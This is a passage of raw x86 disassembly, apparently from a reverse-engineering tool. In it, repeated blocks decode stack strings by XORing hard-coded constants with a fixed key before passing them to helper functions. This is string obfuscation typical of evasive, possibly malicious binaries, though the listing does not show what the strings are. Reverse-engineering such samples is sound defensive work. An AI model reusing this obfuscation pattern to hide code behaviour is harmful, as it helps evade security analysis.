mov eax, dword [ebp - 0x8c8]
mov ecx, dword [ebp - 0x8c4]
mov dword [ebp - 0x11e8], eax
mov dword [ebp - 0x11e4], ecx
mov dword [ebp - 0x8d0], 0xa980d4ad
mov dword [ebp - 0x8cc], 0xf3c01ed1
mov eax, dword [ebp - 0x8d0]
mov ecx, dword [ebp - 0x8cc]
mov dword [ebp - 0x1650], eax
mov dword [ebp - 0x8d8], 0x61453c76
mov dword [ebp - 0x164c], ecx
mov dword [ebp - 0x8d4], 0xa0df89f8
mov eax, dword [ebp - 0x8d8]
mov ecx, dword [ebp - 0x8d4]
movaps xmm1, xmmword [ebp - 0x11f0]
mov dword [ebp - 0x1648], eax
lea eax, [ebp - 0x11f0]
mov dword [ebp - 0x1644], ecx
lea ecx, [ebp - 0x22c8]
xorps xmm1, xmmword [ebp - 0x1650]
push eax
movaps xmmword [ebp - 0x11f0], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8d
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x10
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x488f92
mov dword [ebp - 0x8e0], 0xd1e3bbc9
mov dword [ebp - 0x8dc], 0xf3c01ed1
mov eax, dword [ebp - 0x8e0]
mov ecx, dword [ebp - 0x8dc]
mov dword [ebp - 0x1200], eax
mov dword [ebp - 0x11fc], ecx
mov dword [ebp - 0x8e8], 0x61453c76
mov dword [ebp - 0x8e4], 0xa0df89f8
mov eax, dword [ebp - 0x8e8]
mov ecx, dword [ebp - 0x8e4]
mov dword [ebp - 0x11f8], eax
mov dword [ebp - 0x11f4], ecx
mov dword [ebp - 0x8f0], 0xa980d4ad
mov dword [ebp - 0x8ec], 0xf3c01ed1
mov eax, dword [ebp - 0x8f0]
mov ecx, dword [ebp - 0x8ec]
mov dword [ebp - 0x1660], eax
mov dword [ebp - 0x8f8], 0x61453c76
mov dword [ebp - 0x165c], ecx
mov dword [ebp - 0x8f4], 0xa0df89f8
mov eax, dword [ebp - 0x8f8]
mov ecx, dword [ebp - 0x8f4]
movaps xmm1, xmmword [ebp - 0x1200]
mov dword [ebp - 0x1658], eax
lea eax, [ebp - 0x1200]
mov dword [ebp - 0x1654], ecx
lea ecx, [ebp - 0x22b0]
xorps xmm1, xmmword [ebp - 0x1660]
push eax
movaps xmmword [ebp - 0x1200], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8e
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x20
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x488f92
mov dword [ebp - 0x900], 0xa9e7badd
mov dword [ebp - 0x8fc], 0xf3c01ed1
mov eax, dword [ebp - 0x900]
mov ecx, dword [ebp - 0x8fc]
mov dword [ebp - 0xf00], eax
mov dword [ebp - 0xefc], ecx
mov dword [ebp - 0x908], 0x61453c76
mov dword [ebp - 0x904], 0xa0df89f8
mov eax, dword [ebp - 0x908]
mov ecx, dword [ebp - 0x904]
mov dword [ebp - 0xef8], eax
mov dword [ebp - 0xef4], ecx
mov dword [ebp - 0x910], 0xa980d4ad
mov dword [ebp - 0x90c], 0xf3c01ed1
mov eax, dword [ebp - 0x910]
mov ecx, dword [ebp - 0x90c]
mov dword [ebp - 0x1670], eax
mov dword [ebp - 0x918], 0x61453c76
mov dword [ebp - 0x166c], ecx
mov dword [ebp - 0x914], 0xa0df89f8
mov eax, dword [ebp - 0x918]
mov ecx, dword [ebp - 0x914]
movaps xmm1, xmmword [ebp - 0xf00]
mov dword [ebp - 0x1668], eax
lea eax, [ebp - 0xf00]
mov dword [ebp - 0x1664], ecx
lea ecx, [ebp - 0x2298]
xorps xmm1, xmmword [ebp - 0x1670]
push eax
movaps xmmword [ebp - 0xf00], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8f
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x40
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x488f92
mov dword [ebp - 0x920], 0xa9e7a4c7
mov dword [ebp - 0x91c], 0xf3c01ed1
mov eax, dword [ebp - 0x920]
mov ecx, dword [ebp - 0x91c]
mov dword [ebp - 0x1170], eax
mov dword [ebp - 0x116c], ecx
mov dword [ebp - 0x928], 0x61453c76
mov dword [ebp - 0x924], 0xa0df89f8
mov eax, dword [ebp - 0x928]
mov ecx, dword [ebp - 0x924]
mov dword [ebp - 0x1168], eax
mov dword [ebp - 0x1164], ecx
mov dword [ebp - 0x930], 0xa980d4ad
mov dword [ebp - 0x92c], 0xf3c01ed1
mov eax, dword [ebp - 0x930]
mov ecx, dword [ebp - 0x92c]
mov dword [ebp - 0x1680], eax
mov dword [ebp - 0x938], 0x61453c76
mov dword [ebp - 0x167c], ecx
mov dword [ebp - 0x934], 0xa0df89f8
mov eax, dword [ebp - 0x938]
mov ecx, dword [ebp - 0x934]
movaps xmm1, xmmword [ebp - 0x1170]
mov dword [ebp - 0x1678], eax
lea eax, [ebp - 0x1170]
mov dword [ebp - 0x1674], ecx
lea ecx, [ebp - 0x2280]
xorps xmm1, xmmword [ebp - 0x1680]
push eax
movaps xmmword [ebp - 0x1170], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x90
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x80
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x488f92
mov dword [ebp - 0x940], 0xcee5a4c7
mov dword [ebp - 0x93c], 0xf3c01ed1
mov eax, dword [ebp - 0x940]
mov ecx, dword [ebp - 0x93c]
mov dword [ebp - 0x1230], eax
mov dword [ebp - 0x122c], ecx
mov dword [ebp - 0x948], 0x61453c76
mov dword [ebp - 0x944], 0xa0df89f8
mov eax, dword [ebp - 0x948]
mov ecx, dword [ebp - 0x944]
mov dword [ebp - 0x1228], eax
mov dword [ebp - 0x1224], ecx
mov dword [ebp - 0x950], 0xa980d4ad
mov dword [ebp - 0x94c], 0xf3c01ed1
mov eax, dword [ebp - 0x950]
mov ecx, dword [ebp - 0x94c]
mov dword [ebp - 0x1720], eax
mov dword [ebp - 0x958], 0x61453c76
mov dword [ebp - 0x171c], ecx
mov dword [ebp - 0x954], 0xa0df89f8
mov eax, dword [ebp - 0x958]
mov ecx, dword [ebp - 0x954]
movaps xmm1, xmmword [ebp - 0x1230]
mov dword [ebp - 0x1718], eax
lea eax, [ebp - 0x1230]
mov dword [ebp - 0x1714], ecx
lea ecx, [ebp - 0x20a0]
xorps xmm1, xmmword [ebp - 0x1720]
push eax
movaps xmmword [ebp - 0x1230], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x91
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x100
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x488f92
mov dword [ebp - 0x960], 0xa9f0b9cf
mov dword [ebp - 0x95c], 0xf3c01ed1
mov eax, dword [ebp - 0x960]
mov ecx, dword [ebp - 0x95c]
mov dword [ebp - 0x1240], eax
mov dword [ebp - 0x123c], ecx
mov dword [ebp - 0x968], 0x61453c76
mov dword [ebp - 0x964], 0xa0df89f8
mov eax, dword [ebp - 0x968]
mov ecx, dword [ebp - 0x964]
mov dword [ebp - 0x1238], eax
mov dword [ebp - 0x1234], ecx
mov dword [ebp - 0x970], 0xa980d4ad
mov dword [ebp - 0x96c], 0xf3c01ed1
mov eax, dword [ebp - 0x970]
mov ecx, dword [ebp - 0x96c]
mov dword [ebp - 0x1730], eax
mov dword [ebp - 0x978], 0x61453c76
mov dword [ebp - 0x172c], ecx
mov dword [ebp - 0x974], 0xa0df89f8
mov eax, dword [ebp - 0x978]
mov ecx, dword [ebp - 0x974]
movaps xmm1, xmmword [ebp - 0x1240]
mov dword [ebp - 0x1728], eax
lea eax, [ebp - 0x1240]
mov dword [ebp - 0x1724], ecx
lea ecx, [ebp - 0x2268]
xorps xmm1, xmmword [ebp - 0x1730]
push eax
movaps xmmword [ebp - 0x1240], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x92
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x200
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x488f92
mov dword [ebp - 0x980], 0xa9f4b5cf
mov dword [ebp - 0x97c], 0xf3c01ed1
mov eax, dword [ebp - 0x980]
mov ecx, dword [ebp - 0x97c]
mov dword [ebp - 0x1250], eax
mov dword [ebp - 0x124c], ecx
mov dword [ebp - 0x988], 0x61453c76
mov dword [ebp - 0x984], 0xa0df89f8
mov eax, dword [ebp - 0x988]
mov ecx, dword [ebp - 0x984]
mov dword [ebp - 0x1248], eax
mov dword [ebp - 0x1244], ecx
mov dword [ebp - 0x990], 0xa980d4ad
mov dword [ebp - 0x98c], 0xf3c01ed1
mov eax, dword [ebp - 0x990]
mov ecx, dword [ebp - 0x98c]
mov dword [ebp - 0x1740], eax
mov dword [ebp - 0x998], 0x61453c76
mov dword [ebp - 0x173c], ecx
mov dword [ebp - 0x994], 0xa0df89f8
mov eax, dword [ebp - 0x998]
mov ecx, dword [ebp - 0x994]
movaps xmm1, xmmword [ebp - 0x1250]
mov dword [ebp - 0x1738], eax
lea eax, [ebp - 0x1250]
mov dword [ebp - 0x1734], ecx
lea ecx, [ebp - 0x2250]
xorps xmm1, xmmword [ebp - 0x1740]
push eax
movaps xmmword [ebp - 0x1250], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x93
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x400
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x488f92
mov dword [ebp - 0x9a0], 0xa9f3b6db
mov dword [ebp - 0x99c], 0xf3c01ed1
mov eax, dword [ebp - 0x9a0]
mov ecx, dword [ebp - 0x99c]
mov dword [ebp - 0x1210], eax
mov dword [ebp - 0x120c], ecx
mov dword [ebp - 0x9a8], 0x61453c76
mov dword [ebp - 0x9a4], 0xa0df89f8
mov eax, dword [ebp - 0x9a8]
mov ecx, dword [ebp - 0x9a4]
mov dword [ebp - 0x1208], eax
mov dword [ebp - 0x1204], ecx
mov dword [ebp - 0x9b0], 0xa980d4ad
mov dword [ebp - 0x9ac], 0xf3c01ed1
mov eax, dword [ebp - 0x9b0]
mov ecx, dword [ebp - 0x9ac]
mov dword [ebp - 0x1750], eax
mov dword [ebp - 0x9b8], 0x61453c76
mov dword [ebp - 0x174c], ecx
mov dword [ebp - 0x9b4], 0xa0df89f8
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [ebp - 0x9b4]
movaps xmm1, xmmword [ebp - 0x1210]
mov dword [ebp - 0x1748], eax
lea eax, [ebp - 0x1210]
mov dword [ebp - 0x1744], ecx
lea ecx, [ebp - 0x2238]
xorps xmm1, xmmword [ebp - 0x1750]
push eax
movaps xmmword [ebp - 0x1210], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x94
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x800
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
mov byte [ebp - 0x11], 1
test al, al
jne 0x488f96
mov byte [ebp - 0x11], 0
mov dword [ebp - 4], 0x93
mov eax, dword [ebp - 0x18]
test eax, 0x800
je 0x488fbd
and eax, 0xfffff7ff
lea ecx, [ebp - 0x2238]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x92
test eax, 0x400
je 0x488fe1
and eax, 0xfffffbff
lea ecx, [ebp - 0x2250]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x91
test eax, 0x200
je 0x489005
and eax, 0xfffffdff
lea ecx, [ebp - 0x2268]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x90
test eax, 0x100
je 0x489029
and eax, 0xfffffeff
lea ecx, [ebp - 0x20a0]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8f
test al, al
jns 0x48904a
and eax, 0xffffff7f
lea ecx, [ebp - 0x2280]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8e
test al, 0x40
je 0x489069
and eax, 0xffffffbf
lea ecx, [ebp - 0x2298]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8d
test al, 0x20
je 0x489088
and eax, 0xffffffdf
lea ecx, [ebp - 0x22b0]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8c
test al, 0x10
je 0x4890a7
and eax, 0xffffffef
lea ecx, [ebp - 0x22c8]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8b
test al, 8
je 0x4890c6
and eax, 0xfffffff7
lea ecx, [ebp - 0x22e0]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8a
test al, 4
je 0x4890e5
and eax, 0xfffffffb
lea ecx, [ebp - 0x22f8]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x89
test al, 2
je 0x489104
and eax, 0xfffffffd
lea ecx, [ebp - 0x2310]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x88
test al, 1
je 0x489120
and eax, 0xfffffffe
lea ecx, [ebp - 0x2328]
mov dword [ebp - 0x18], eax
call fcn.00402df0
cmp byte [ebp - 0x11], 0
je 0x489201
mov dword [ebp - 0x9c0], 0xa9e5acc8
mov dword [ebp - 0x9bc], 0xf3c01ed1
mov eax, dword [ebp - 0x9c0]
mov ecx, dword [ebp - 0x9bc]
mov dword [ebp - 0x1080], eax
mov dword [ebp - 0x107c], ecx
mov dword [ebp - 0x9c8], 0x61453c76
mov dword [ebp - 0x9c4], 0xa0df89f8
mov eax, dword [ebp - 0x9c8]
mov ecx, dword [ebp - 0x9c4]
mov dword [ebp - 0x1078], eax
mov dword [ebp - 0x1074], ecx
mov dword [ebp - 0x9d0], 0xa980d4ad
mov dword [ebp - 0x9cc], 0xf3c01ed1
mov eax, dword [ebp - 0x9d0]
mov ecx, dword [ebp - 0x9cc]
mov dword [ebp - 0x1760], eax
mov dword [ebp - 0x9d8], 0x61453c76
mov dword [ebp - 0x175c], ecx
mov dword [ebp - 0x9d4], 0xa0df89f8
mov eax, dword [ebp - 0x9d8]
mov ecx, dword [ebp - 0x9d4]
movaps xmm1, xmmword [ebp - 0x1080]
mov dword [ebp - 0x1758], eax
lea eax, [ebp - 0x1080]
mov dword [ebp - 0x1754], ecx
lea ecx, [ebp - 0x1f0]
xorps xmm1, xmmword [ebp - 0x1760]
push eax
movaps xmmword [ebp - 0x1080], xmm1
call fcn.00416260
mov dword [ebp - 0x9e0], 0xa980d483
mov edx, 0x14
mov dword [ebp - 0x9dc], 0xf3c01ed1
mov eax, dword [ebp - 0x9e0]
mov ecx, dword [ebp - 0x9dc]
mov dword [ebp - 0x126c], ecx
mov dword [ebp - 0x1270], eax
mov dword [ebp - 0x9e8], 0x61453c76
mov dword [ebp - 0x9e4], 0xa0df89f8
mov eax, dword [ebp - 0x9e8]
mov ecx, dword [ebp - 0x9e4]
mov dword [ebp - 0x1264], ecx
mov dword [ebp - 0x1268], eax
mov dword [ebp - 0x9f0], 0xa980d4ad
mov dword [ebp - 0x9ec], 0xf3c01ed1
mov eax, dword [ebp - 0x9f0]
mov ecx, dword [ebp - 0x9ec]
mov dword [ebp - 0xd38], 0x61453c76
mov dword [ebp - 0x1990], eax
mov dword [ebp - 0x198c], ecx
mov dword [ebp - 0xd34], 0xa0df89f8
mov eax, dword [ebp - 0xd38]
mov ecx, dword [ebp - 0xd34]
movaps xmm1, xmmword [ebp - 0x1270]
mov dword [ebp - 0x1984], ecx
lea ecx, [ebp - 0x23a0]
mov dword [ebp - 0x1988], eax
xorps xmm1, xmmword [ebp - 0x1990]
movaps xmmword [ebp - 0x1270], xmm1
call fcn.004e3750
mov esi, eax
mov byte [ebp - 4], 0x95
mov dword [ebp - 0x9f8], 0xa980d4f1
mov dword [ebp - 0x9f4], 0xf3c01ed1
mov ecx, dword [ebp - 0x9f8]
mov edx, dword [ebp - 0x9f4]
mov dword [ebp - 0x1260], ecx
mov dword [ebp - 0x125c], edx
lea edx, [ebx + 0x80]
mov dword [ebp - 0xa00], 0x61453c76
mov dword [ebp - 0x9fc], 0xa0df89f8
mov eax, dword [ebp - 0xa00]
mov ecx, dword [ebp - 0x9fc]
mov dword [ebp - 0x1258], eax
mov dword [ebp - 0x1254], ecx
mov dword [ebp - 0xa08], 0xa980d4ad
mov dword [ebp - 0xa04], 0xf3c01ed1
mov eax, dword [ebp - 0xa08]
mov ecx, dword [ebp - 0xa04]
mov dword [ebp - 0x19a0], eax
mov dword [ebp - 0xa10], 0x61453c76
mov dword [ebp - 0x199c], ecx
mov dword [ebp - 0xa0c], 0xa0df89f8
mov eax, dword [ebp - 0xa10]
mov ecx, dword [ebp - 0xa0c]
movaps xmm1, xmmword [ebp - 0x1260]
mov dword [ebp - 0x1998], eax
lea eax, [ebp - 0x1260]
mov dword [ebp - 0x1994], ecx
lea ecx, [ebp - 0x2388]
xorps xmm1, xmmword [ebp - 0x19a0]
push eax
movaps xmmword [ebp - 0x1260], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x96
mov edx, eax
push esi
lea ecx, [ebp - 0x2370]
call fcn.0041ae20
add esp, 4
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x1270]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2340]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x1f0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1c30]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x2340]
call fcn.00402df0
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0x2370]
call fcn.00402df0
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x2388]
call fcn.00402df0
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x23a0]
call fcn.00402df0
mov dword [ebp - 0xa18], 0xd9f4a0c5
mov dword [ebp - 0xa14], 0xdcef24a2
mov eax, dword [ebp - 0xa18]
mov ecx, dword [ebp - 0xa14]
mov dword [ebp - 0x127c], ecx
mov dword [ebp - 0x1280], eax
mov dword [ebp - 0xa20], 0x61453c76
mov dword [ebp - 0xa1c], 0xa0df89f8
mov eax, dword [ebp - 0xa20]
mov ecx, dword [ebp - 0xa1c]
mov dword [ebp - 0x1274], ecx
mov dword [ebp - 0x1278], eax
mov dword [ebp - 0xa28], 0xa980d4ad
mov dword [ebp - 0xa24], 0xf3c01ed1
mov eax, dword [ebp - 0xa28]
mov ecx, dword [ebp - 0xa24]
mov dword [ebp - 0xa30], 0x61453c76
mov dword [ebp - 0x19b0], eax
mov dword [ebp - 0x19ac], ecx
mov dword [ebp - 0xa2c], 0xa0df89f8
mov eax, dword [ebp - 0xa30]
mov ecx, dword [ebp - 0xa2c]
movaps xmm1, xmmword [ebp - 0x1280]
mov dword [ebp - 0x19a4], ecx
lea ecx, [ebp - 0x1d24]
mov dword [ebp - 0x19a8], eax
xorps xmm1, xmmword [ebp - 0x19b0]
movaps xmmword [ebp - 0x1280], xmm1
call fcn.00416090
lea ecx, [ebp - 0x1280]
push ecx
push eax
call fcn.00434e50
add esp, 8
lea ecx, [ebp - 0x1c30]
test eax, eax
setne byte [ebp - 0x17c]
call fcn.00416090
lea ecx, [ebp - 0x1d24]
mov esi, eax
call fcn.00416090
sub esp, 8
mov edx, esi
mov ecx, eax
push dword [ebp - 0x17c]
call fcn.004ebdd0
add esp, 0xc
test al, al
je 0x48c095
xorps xmm0, xmm0
mov byte [ebp - 0x15ac], 0
lea ecx, [ebp - 0x2a80]
movups xmmword [ebp - 0x15cc], xmm0
movups xmmword [ebp - 0x15bc], xmm0
call fcn.004eca50
lea ecx, [ebp - 0x1d3c]
call fcn.00416090
push dword [ebp - 0x1d2c]
lea ecx, [ebp - 0x2a80]
push eax
call fcn.004ec980
push ecx
lea ecx, [ebp - 0x2a80]
call fcn.004ec830
cmp byte [ebp - 0x29e4], 0
je 0x4895de
movups xmm0, xmmword [ebp - 0x29d3]
mov al, byte [ebp - 0x29b3]
mov byte [ebp - 0x15ac], al
movups xmmword [ebp - 0x15cc], xmm0
movups xmm0, xmmword [ebp - 0x29c3]
movups xmmword [ebp - 0x15bc], xmm0
mov dword [ebp - 0xa38], 0xcbefb0ec
lea edx, [ebp - 0x1290]
mov dword [ebp - 0xa34], 0x97b04bb4
mov eax, dword [ebp - 0xa38]
mov ecx, dword [ebp - 0xa34]
mov dword [ebp - 0x128c], ecx
mov dword [ebp - 0x1290], eax
mov dword [ebp - 0xa40], 0x13204817
mov dword [ebp - 0xa3c], 0xa0df89ae
mov eax, dword [ebp - 0xa40]
mov ecx, dword [ebp - 0xa3c]
mov dword [ebp - 0x1284], ecx
mov dword [ebp - 0x1288], eax
mov dword [ebp - 0xa48], 0xa980d4ad
mov dword [ebp - 0xa44], 0xf3c01ed1
mov eax, dword [ebp - 0xa48]
mov ecx, dword [ebp - 0xa44]
mov dword [ebp - 0xa50], 0x61453c76
mov dword [ebp - 0x19c0], eax
mov dword [ebp - 0x19bc], ecx
mov dword [ebp - 0xa4c], 0xa0df89f8
mov eax, dword [ebp - 0xa50]
mov ecx, dword [ebp - 0xa4c]
movaps xmm1, xmmword [ebp - 0x1290]
mov dword [ebp - 0x19b4], ecx
lea ecx, [ebp - 0x1db0]
mov dword [ebp - 0x19b8], eax
xorps xmm1, xmmword [ebp - 0x19c0]
push 0x583da4
movaps xmmword [ebp - 0x1290], xmm1
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 0x9e
lea edx, [ebp - 0x12a0]
mov dword [ebp - 0xa58], 0xcce7b0e8
mov dword [ebp - 0xa54], 0xf3c04d9c
mov eax, dword [ebp - 0xa58]
mov ecx, dword [ebp - 0xa54]
mov dword [ebp - 0x129c], ecx
mov dword [ebp - 0x12a0], eax
mov dword [ebp - 0xa60], 0x61453c76
mov dword [ebp - 0xa5c], 0xa0df89f8
mov eax, dword [ebp - 0xa60]
mov ecx, dword [ebp - 0xa5c]
mov dword [ebp - 0x1294], ecx
mov dword [ebp - 0x1298], eax
mov dword [ebp - 0xa68], 0xa980d4ad
mov dword [ebp - 0xa64], 0xf3c01ed1
mov eax, dword [ebp - 0xa68]
mov ecx, dword [ebp - 0xa64]
mov dword [ebp - 0xa70], 0x61453c76
mov dword [ebp - 0x19d0], eax
mov dword [ebp - 0x19cc], ecx
mov dword [ebp - 0xa6c], 0xa0df89f8
mov eax, dword [ebp - 0xa70]
mov ecx, dword [ebp - 0xa6c]
movaps xmm1, xmmword [ebp - 0x12a0]
mov dword [ebp - 0x19c4], ecx
lea ecx, [ebp - 0x1d0c]
mov dword [ebp - 0x19c8], eax
xorps xmm1, xmmword [ebp - 0x19d0]
push 0x583da4
movaps xmmword [ebp - 0x12a0], xmm1
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 0x9f
mov dword [ebp - 0xa78], 0xfcc987e0
mov dword [ebp - 0xa74], 0x87a17aa1
mov eax, dword [ebp - 0xa78]
mov ecx, dword [ebp - 0xa74]
mov dword [ebp - 0x12b0], eax
mov dword [ebp - 0x12ac], ecx
mov dword [ebp - 0xa80], 0x61134e13
mov dword [ebp - 0xa7c], 0xa0df89f8
mov eax, dword [ebp - 0xa80]
mov ecx, dword [ebp - 0xa7c]
mov dword [ebp - 0x12a8], eax
mov dword [ebp - 0x12a4], ecx
mov dword [ebp - 0xa88], 0xa980d4ad
mov dword [ebp - 0xa84], 0xf3c01ed1
lea edx, [ebp - 0x12b0]
mov eax, dword [ebp - 0xa88]
mov ecx, dword [ebp - 0xa84]
mov dword [ebp - 0xa90], 0x61453c76
mov dword [ebp - 0x1a10], eax
mov dword [ebp - 0x1a0c], ecx
mov dword [ebp - 0xa8c], 0xa0df89f8
mov eax, dword [ebp - 0xa90]
mov ecx, dword [ebp - 0xa8c]
movaps xmm1, xmmword [ebp - 0x12b0]
mov dword [ebp - 0x1a04], ecx
lea ecx, [ebp - 0x1cf4]
mov dword [ebp - 0x1a08], eax
xorps xmm1, xmmword [ebp - 0x1a10]
push 0x583da4
movaps xmmword [ebp - 0x12b0], xmm1
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 0xa0
cmp byte [ebp - 0x45], 0
je 0x48a1e0
mov dword [ebp - 0xa98], 0xe8c39be1
mov dword [ebp - 0xa94], 0xa3905f9d
mov eax, dword [ebp - 0xa98]
mov ecx, dword [ebp - 0xa94]
mov dword [ebp - 0x12c0], eax
mov dword [ebp - 0x12bc], ecx
mov dword [ebp - 0xaa0], 0x20117d32
mov dword [ebp - 0xa9c], 0xa0df89f8
mov eax, dword [ebp - 0xaa0]
mov ecx, dword [ebp - 0xa9c]
mov dword [ebp - 0x12b8], eax
mov dword [ebp - 0x12b4], ecx
mov dword [ebp - 0xaa8], 0xa980d4ad
mov dword [ebp - 0xaa4], 0xf3c01ed1
mov eax, dword [ebp - 0xaa8]
mov ecx, dword [ebp - 0xaa4]
mov dword [ebp - 0x1a20], eax
mov dword [ebp - 0xab0], 0x61453c76
mov dword [ebp - 0x1a1c], ecx
mov dword [ebp - 0xaac], 0xa0df89f8
mov eax, dword [ebp - 0xab0]
mov ecx, dword [ebp - 0xaac]
movaps xmm1, xmmword [ebp - 0x12c0]
mov dword [ebp - 0x1a18], eax
lea eax, [ebp - 0x12c0]
mov dword [ebp - 0x1a14], ecx
xorps xmm1, xmmword [ebp - 0x1a20]
push eax
movaps xmmword [ebp - 0x12c0], xmm1
call fcn.004423d1
add esp, 4
test eax, eax
je 0x48a1e0
push eax
lea ecx, [ebp - 0x1c48]
call fcn.00402cf0
mov byte [ebp - 4], 0xa1
mov dword [ebp - 0xab8], 0xa980d4f1
mov dword [ebp - 0xab4], 0xf3c01ed1
mov eax, dword [ebp - 0xab8]
mov ecx, dword [ebp - 0xab4]
mov dword [ebp - 0x12d0], eax
mov dword [ebp - 0x12cc], ecx
mov dword [ebp - 0xac0], 0x61453c76
mov dword [ebp - 0xabc], 0xa0df89f8
mov eax, dword [ebp - 0xac0]
mov ecx, dword [ebp - 0xabc]
mov dword [ebp - 0x12c8], eax
mov dword [ebp - 0x12c4], ecx
mov dword [ebp - 0xac8], 0xa980d4ad
mov dword [ebp - 0xac4], 0xf3c01ed1
mov eax, dword [ebp - 0xac8]
mov ecx, dword [ebp - 0xac4]
mov dword [ebp - 0x1a30], eax
mov dword [ebp - 0xad0], 0x61453c76
mov dword [ebp - 0x1a2c], ecx
mov dword [ebp - 0xacc], 0xa0df89f8
mov eax, dword [ebp - 0xad0]
mov ecx, dword [ebp - 0xacc]
movaps xmm1, xmmword [ebp - 0x12d0]
mov dword [ebp - 0x1a28], eax
lea eax, [ebp - 0x12d0]
mov dword [ebp - 0x1a24], ecx
lea ecx, [ebp - 0x1c48]
xorps xmm1, xmmword [ebp - 0x1a30]
push eax
movaps xmmword [ebp - 0x12d0], xmm1
call fcn.00416210
mov dword [ebp - 0xad8], 0xa980d4f2
lea edx, [ebp - 0x1db0]
mov dword [ebp - 0xad4], 0xf3c01ed1
mov eax, dword [ebp - 0xad8]
mov ecx, dword [ebp - 0xad4]
mov dword [ebp - 0x1220], eax
mov dword [ebp - 0x121c], ecx
mov dword [ebp - 0xae0], 0x61453c76
mov dword [ebp - 0xadc], 0xa0df89f8
mov eax, dword [ebp - 0xae0]
mov ecx, dword [ebp - 0xadc]
mov dword [ebp - 0x1218], eax
mov dword [ebp - 0x1214], ecx
mov dword [ebp - 0xae8], 0xa980d4ad
mov dword [ebp - 0xae4], 0xf3c01ed1
mov eax, dword [ebp - 0xae8]
mov ecx, dword [ebp - 0xae4]
mov dword [ebp - 0x1a40], eax
mov dword [ebp - 0xaf0], 0x61453c76
mov dword [ebp - 0x1a3c], ecx
mov dword [ebp - 0xaec], 0xa0df89f8
mov eax, dword [ebp - 0xaf0]
mov ecx, dword [ebp - 0xaec]
movaps xmm1, xmmword [ebp - 0x1220]
mov dword [ebp - 0x1a38], eax
lea eax, [ebp - 0x1220]
mov dword [ebp - 0x1a34], ecx
lea ecx, [ebp - 0x23d0]
xorps xmm1, xmmword [ebp - 0x1a40]
push eax
movaps xmmword [ebp - 0x1220], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x23b8]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xa3
lea ecx, [ebp - 0x1c48]
push eax
call fcn.00416240
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x23b8]
call fcn.00402df0
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0x23d0]
call fcn.00402df0
lea ecx, [ebp - 0x1c48]
call fcn.00416090
mov ecx, eax
call fcn.004e4050
test al, al
jne 0x489ba3
lea ecx, [ebp - 0x1c48]
call fcn.00408860
